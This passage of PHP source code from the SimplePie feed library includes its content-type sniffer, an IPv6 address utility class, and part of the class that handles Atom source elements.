		$this->label = $label;
	}

	/**
	 * String-ified version
	 *
	 * @return string
	 */
	public function __toString()
	{
		// There is no $this->data here
		return md5(serialize($this));
	}

	/**
	 * Get the copyright URL
	 *
	 * @return string|null URL to copyright information
	 */
	public function get_url()
	{
		if ($this->url !== null)
		{
			return $this->url;
		}

		return null;
	}

	/**
	 * Get the attribution text
	 *
	 * @return string|null
	 */
	public function get_attribution()
	{
		if ($this->label !== null)
		{
			return $this->label;
		}

		return null;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Content-type sniffing
 *
 * Based on the rules in http://tools.ietf.org/html/draft-abarth-mime-sniff-06
 *
 * This is used since we can't always trust Content-Type headers, and is based
 * upon the HTML5 parsing rules.
 *
 *
 * This class can be overloaded with {@see SimplePie::set_content_type_sniffer_class()}
 *
 * @package SimplePie
 * @subpackage HTTP
 */
class SimplePie_Content_Type_Sniffer
{
	/**
	 * File object
	 *
	 * @var SimplePie_File
	 */
	var $file;

	/**
	 * Create an instance of the class with the input file
	 *
	 * @param SimplePie_Content_Type_Sniffer $file Input file
	 */
	public function __construct($file)
	{
		$this->file = $file;
	}

	/**
	 * Get the Content-Type of the specified file
	 *
	 * @return string Actual Content-Type
	 */
	public function get_type()
	{
		if (isset($this->file->headers['content-type']))
		{
			if (!isset($this->file->headers['content-encoding'])
				&& ($this->file->headers['content-type'] === 'text/plain'
					|| $this->file->headers['content-type'] === 'text/plain; charset=ISO-8859-1'
					|| $this->file->headers['content-type'] === 'text/plain; charset=iso-8859-1'
					|| $this->file->headers['content-type'] === 'text/plain; charset=UTF-8'))
			{
				return $this->text_or_binary();
			}

			if (($pos = strpos($this->file->headers['content-type'], ';')) !== false)
			{
				$official = substr($this->file->headers['content-type'], 0, $pos);
			}
			else
			{
				$official = $this->file->headers['content-type'];
			}
			$official = trim(strtolower($official));

			if ($official === 'unknown/unknown'
				|| $official === 'application/unknown')
			{
				return $this->unknown();
			}
			elseif (substr($official, -4) === '+xml'
				|| $official === 'text/xml'
				|| $official === 'application/xml')
			{
				return $official;
			}
			elseif (substr($official, 0, 6) === 'image/')
			{
				if ($return = $this->image())
				{
					return $return;
				}

				return $official;
			}
			elseif ($official === 'text/html')
			{
				return $this->feed_or_html();
			}

			return $official;
		}

		return $this->unknown();
	}

	/**
	 * Sniff text or binary
	 *
	 * @return string Actual Content-Type
	 */
	public function text_or_binary()
	{
		if (substr($this->file->body, 0, 2) === "\xFE\xFF"
			|| substr($this->file->body, 0, 2) === "\xFF\xFE"
			|| substr($this->file->body, 0, 4) === "\x00\x00\xFE\xFF"
			|| substr($this->file->body, 0, 3) === "\xEF\xBB\xBF")
		{
			return 'text/plain';
		}
		elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body))
		{
			return 'application/octet-stream';
		}

		return 'text/plain';
	}

	/**
	 * Sniff unknown
	 *
	 * @return string Actual Content-Type
	 */
	public function unknown()
	{
		$ws = strspn($this->file->body, "\x09\x0A\x0B\x0C\x0D\x20");
		if (strtolower(substr($this->file->body, $ws, 14)) === '<!doctype html'
			|| strtolower(substr($this->file->body, $ws, 5)) === '<html'
			|| strtolower(substr($this->file->body, $ws, 7)) === '<script')
		{
			return 'text/html';
		}
		elseif (substr($this->file->body, 0, 5) === '%PDF-')
		{
			return 'application/pdf';
		}
		elseif (substr($this->file->body, 0, 11) === '%!PS-Adobe-')
		{
			return 'application/postscript';
		}
		elseif (substr($this->file->body, 0, 6) === 'GIF87a'
			|| substr($this->file->body, 0, 6) === 'GIF89a')
		{
			return 'image/gif';
		}
		elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A")
		{
			return 'image/png';
		}
		elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF")
		{
			return 'image/jpeg';
		}
		elseif (substr($this->file->body, 0, 2) === "\x42\x4D")
		{
			return 'image/bmp';
		}
		elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00")
		{
			return 'image/vnd.microsoft.icon';
		}

		return $this->text_or_binary();
	}

	/**
	 * Sniff images
	 *
	 * @return string Actual Content-Type
	 */
	public function image()
	{
		if (substr($this->file->body, 0, 6) === 'GIF87a'
			|| substr($this->file->body, 0, 6) === 'GIF89a')
		{
			return 'image/gif';
		}
		elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A")
		{
			return 'image/png';
		}
		elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF")
		{
			return 'image/jpeg';
		}
		elseif (substr($this->file->body, 0, 2) === "\x42\x4D")
		{
			return 'image/bmp';
		}
		elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00")
		{
			return 'image/vnd.microsoft.icon';
		}

		return false;
	}

	/**
	 * Sniff HTML
	 *
	 * @return string Actual Content-Type
	 */
	public function feed_or_html()
	{
		$len = strlen($this->file->body);
		$pos = strspn($this->file->body, "\x09\x0A\x0D\x20\xEF\xBB\xBF");

		while ($pos < $len)
		{
			switch ($this->file->body[$pos])
			{
				case "\x09":
				case "\x0A":
				case "\x0D":
				case "\x20":
					$pos += strspn($this->file->body, "\x09\x0A\x0D\x20", $pos);
					continue 2;

				case '<':
					$pos++;
					break;

				default:
					return 'text/html';
			}

			if (substr($this->file->body, $pos, 3) === '!--')
			{
				$pos += 3;
				if ($pos < $len && ($pos = strpos($this->file->body, '-->', $pos)) !== false)
				{
					$pos += 3;
				}
				else
				{
					return 'text/html';
				}
			}
			elseif (substr($this->file->body, $pos, 1) === '!')
			{
				if ($pos < $len && ($pos = strpos($this->file->body, '>', $pos)) !== false)
				{
					$pos++;
				}
				else
				{
					return 'text/html';
				}
			}
			elseif (substr($this->file->body, $pos, 1) === '?')
			{
				if ($pos < $len && ($pos = strpos($this->file->body, '?>', $pos)) !== false)
				{
					$pos += 2;
				}
				else
				{
					return 'text/html';
				}
			}
			elseif (substr($this->file->body, $pos, 3) === 'rss'
				|| substr($this->file->body, $pos, 7) === 'rdf:RDF')
			{
				return 'application/rss+xml';
			}
			elseif (substr($this->file->body, $pos, 4) === 'feed')
			{
				return 'application/atom+xml';
			}
			else
			{
				return 'text/html';
			}
		}

		return 'text/html';
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Class to validate and to work with IPv6 addresses.
 *
 * @package SimplePie
 * @subpackage HTTP
 * @copyright 2003-2005 The PHP Group
 * @license http://www.opensource.org/licenses/bsd-license.php
 * @link http://pear.php.net/package/Net_IPv6
 * @author Alexander Merz <alexander.merz@web.de>
 * @author elfrink at introweb dot nl
 * @author Josh Peck <jmp at joshpeck dot org>
 * @author Sam Sneddon <geoffers@gmail.com>
 */
class SimplePie_Net_IPv6
{
	/**
	 * Uncompresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress concecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and expands the '::' to
	 * the required number of zero pieces.
	 *
	 * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
	 *           ::1         ->  0:0:0:0:0:0:0:1
	 *
	 * @author Alexander Merz <alexander.merz@web.de>
	 * @author elfrink at introweb dot nl
	 * @author Josh Peck <jmp at joshpeck dot org>
	 * @copyright 2003-2005 The PHP Group
	 * @license http://www.opensource.org/licenses/bsd-license.php
	 * @param string $ip An IPv6 address
	 * @return string The uncompressed IPv6 address
	 */
	public static function uncompress($ip)
	{
		$c1 = -1;
		$c2 = -1;
		if (substr_count($ip, '::') === 1)
		{
			list($ip1, $ip2) = explode('::', $ip);
			if ($ip1 === '')
			{
				$c1 = -1;
			}
			else
			{
				$c1 = substr_count($ip1, ':');
			}
			if ($ip2 === '')
			{
				$c2 = -1;
			}
			else
			{
				$c2 = substr_count($ip2, ':');
			}
			if (strpos($ip2, '.') !== false)
			{
				$c2++;
			}
			// ::
			if ($c1 === -1 && $c2 === -1)
			{
				$ip = '0:0:0:0:0:0:0:0';
			}
			// ::xxx
			else if ($c1 === -1)
			{
				$fill = str_repeat('0:', 7 - $c2);
				$ip = str_replace('::', $fill, $ip);
			}
			// xxx::
			else if ($c2 === -1)
			{
				$fill = str_repeat(':0', 7 - $c1);
				$ip = str_replace('::', $fill, $ip);
			}
			// xxx::xxx
			else
			{
				$fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
				$ip = str_replace('::', $fill, $ip);
			}
		}
		return $ip;
	}

	/**
	 * Compresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress concecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and compresses consecutive
	 * zero pieces to '::'.
	 *
	 * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
	 *           0:0:0:0:0:0:0:1        ->  ::1
	 *
	 * @see uncompress()
	 * @param string $ip An IPv6 address
	 * @return string The compressed IPv6 address
	 */
	public static function compress($ip)
	{
		// Prepare the IP to be compressed
		$ip = self::uncompress($ip);
		$ip_parts = self::split_v6_v4($ip);

		// Replace all leading zeros
		$ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);

		// Find bunches of zeros
		if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE))
		{
			$max = 0;
			$pos = null;
			foreach ($matches[0] as $match)
			{
				if (strlen($match[0]) > $max)
				{
					$max = strlen($match[0]);
					$pos = $match[1];
				}
			}

			$ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
		}

		if ($ip_parts[1] !== '')
		{
			return implode(':', $ip_parts);
		}

		return $ip_parts[0];
	}

	/**
	 * Splits an IPv6 address into the IPv6 and IPv4 representation parts
	 *
	 * RFC 4291 allows you to represent the last two parts of an IPv6 address
	 * using the standard IPv4 representation
	 *
	 * Example:  0:0:0:0:0:0:13.1.68.3
	 *           0:0:0:0:0:FFFF:129.144.52.38
	 *
	 * @param string $ip An IPv6 address
	 * @return array [0] contains the IPv6 represented part, and [1] the IPv4 represented part
	 */
	private static function split_v6_v4($ip)
	{
		if (strpos($ip, '.') !== false)
		{
			$pos = strrpos($ip, ':');
			$ipv6_part = substr($ip, 0, $pos);
			$ipv4_part = substr($ip, $pos + 1);
			return array($ipv6_part, $ipv4_part);
		}

		return array($ip, '');
	}

	/**
	 * Checks an IPv6 address
	 *
	 * Checks if the given IP is a valid IPv6 address
	 *
	 * @param string $ip An IPv6 address
	 * @return bool true if $ip is a valid IPv6 address
	 */
	public static function check_ipv6($ip)
	{
		$ip = self::uncompress($ip);
		list($ipv6, $ipv4) = self::split_v6_v4($ip);
		$ipv6 = explode(':', $ipv6);
		$ipv4 = explode('.', $ipv4);
		if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4)
		{
			foreach ($ipv6 as $ipv6_part)
			{
				// The section can't be empty
				if ($ipv6_part === '')
					return false;

				// Nor can it be over four characters
				if (strlen($ipv6_part) > 4)
					return false;

				// Remove leading zeros (this is safe because of the above)
				$ipv6_part = ltrim($ipv6_part, '0');
				if ($ipv6_part === '')
					$ipv6_part = '0';

				// Check the value is valid
				$value = hexdec($ipv6_part);
				if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF)
					return false;
			}
			if (count($ipv4) === 4)
			{
				foreach ($ipv4 as $ipv4_part)
				{
					$value = (int) $ipv4_part;
					if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF)
						return false;
				}
			}
			return true;
		}

		return false;
	}

	/**
	 * Checks if the given IP is a valid IPv6 address
	 *
	 * @codeCoverageIgnore
	 * @deprecated Use {@see SimplePie_Net_IPv6::check_ipv6()} instead
	 * @see check_ipv6
	 * @param string $ip An IPv6 address
	 * @return bool true if $ip is a valid IPv6 address
	 */
	public static function checkIPv6($ip)
	{
		return self::check_ipv6($ip);
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Handles `<atom:source>`
 *
 * Used by {@see SimplePie_Item::get_source()}
 *
 * This class can be overloaded with {@see SimplePie::set_source_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Source
{
	var $item;
	var $data = array();
	protected $registry;

	public function __construct($item, $data)
	{
		$this->item = $item;
		$this->data = $data;
	}

	public function set_registry(SimplePie_Registry $registry)
	{
		$this->registry = $registry;
	}

	public function __toString()
	{
		return md5(serialize($this->data));
	}

	public function get_source_tags($namespace, $tag)
	{
		if (isset($this->data['child'][$namespace][$tag]))
		{
			return $this->data['child'][$namespace][$tag];
		}

		return null;
	}

	public function get_base($element = array())
	{
		return $this->item->get_base($element);
	}

	public function sanitize($data, $type, $base = '')
	{
		return $this->item->sanitize($data, $type, $base);
	}

	public function get_item()
	{
		return $this->item;
	}

	public function get_title()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}

		return null;
	}

	public function get_category($key = 0)
	{
		$categories = $this->get_categories();
		if (isset($categories[$key]))
		{
			return $categories[$key];
		}

		return null;
	}

	public function get_categories()
	{
		$categories = array();

		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
		{
			$term = null;
			$scheme = null;
			$label = null;
			if (isset($category['attribs']['']['term']))
			{
				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($category['attribs']['']['scheme']))
			{
				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($category['attribs']['']['label']))
			{
				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category)
		{
			// This is really the label, but keep this as the term also for BC.
			// Label will also work on retrieving because that falls back to term.
			$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			if (isset($category['attribs']['']['domain']))
			{
				$scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			else
			{
				$scheme = null;
			}
			$categories[] = $this->registry->create('Category', array($term, $scheme, null));
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
		{
			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
		{
			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}

		if (!empty($categories))
		{
			return array_unique($categories);
		}

		return null;
	}

	public function get_author($key = 0)
	{
		$authors = $this->get_authors();
		if (isset($authors[$key]))
		{
			return $authors[$key];
		}

		return null;
	}

	public function get_authors()
	{
		$authors = array();
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
		{
			$name = null;
			$uri = null;
			$email = null;
			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
			{
				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
			{
				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
			}
			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
			{
				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $uri !== null)
			{
				$authors[] = $this->registry->create('Author', array($name, $uri, $email));
			}
		}
		if ($author = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
		{
			$name = null;
			$url = null;
			$email = null;
			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
			{
				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
			{
				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
			}
			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
			{
				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $url !== null)
			{
				$authors[] = $this->registry->create('Author', array($name, $url, $email));
			}
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
		{
			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
		{
			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
		{
			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}

		if (!empty($authors))
		{
			return array_unique($authors);
		}

		return null;
	}

	public function get_contributor($key = 0)
	{
		$contributors = $this->get_contributors();
		if (isset($contributors[$key]))
		{
			return $contributors[$key];
		}

		return null;
	}

	public function get_contributors()
	{
		$contributors = array();
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
		{
			$name = null;
			$uri = null;
			$email = null;
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
			{
				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
			{
				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
			{
				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $uri !== null)
			{
				$contributors[] = $this->registry->create('Author', array($name, $uri, $email));
			}
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
		{
			$name = null;
			$url = null;
			$email = null;
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
			{
				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
			{
				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
			{
				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $url !== null)
			{
				$contributors[] = $this->registry->create('Author', array($name, $url, $email));
			}
		}

		if (!empty($contributors))
		{
			return array_unique($contributors);
		}

		return null;
	}

	public function get_link($key = 0, $rel = 'alternate')
	{
		$links = $this->get_links($rel);
		if (isset($links[$key]))
		{
			return $links[$key];
		}

		return null;
	}

	/**
	 * Added for parity between the parent-level and the item/entry-level.
	 */
	public function get_permalink()
	{
		return $this->get_link(0);
	}

	public function get_links($rel = 'alternate')
	{
		if (!isset($this->data['links']))
		{
			$this->data['links'] = array();
			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link'))
			{
				foreach ($links as $link)
				{
					if (isset($link['attribs']['']['href']))
					{
						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
					}
				}
			}
			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link'))
			{
				foreach ($links as $link)
				{
					if (isset($link['attribs']['']['href']))
					{
						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));

					}
				}
			}
			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
			{
				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
			}
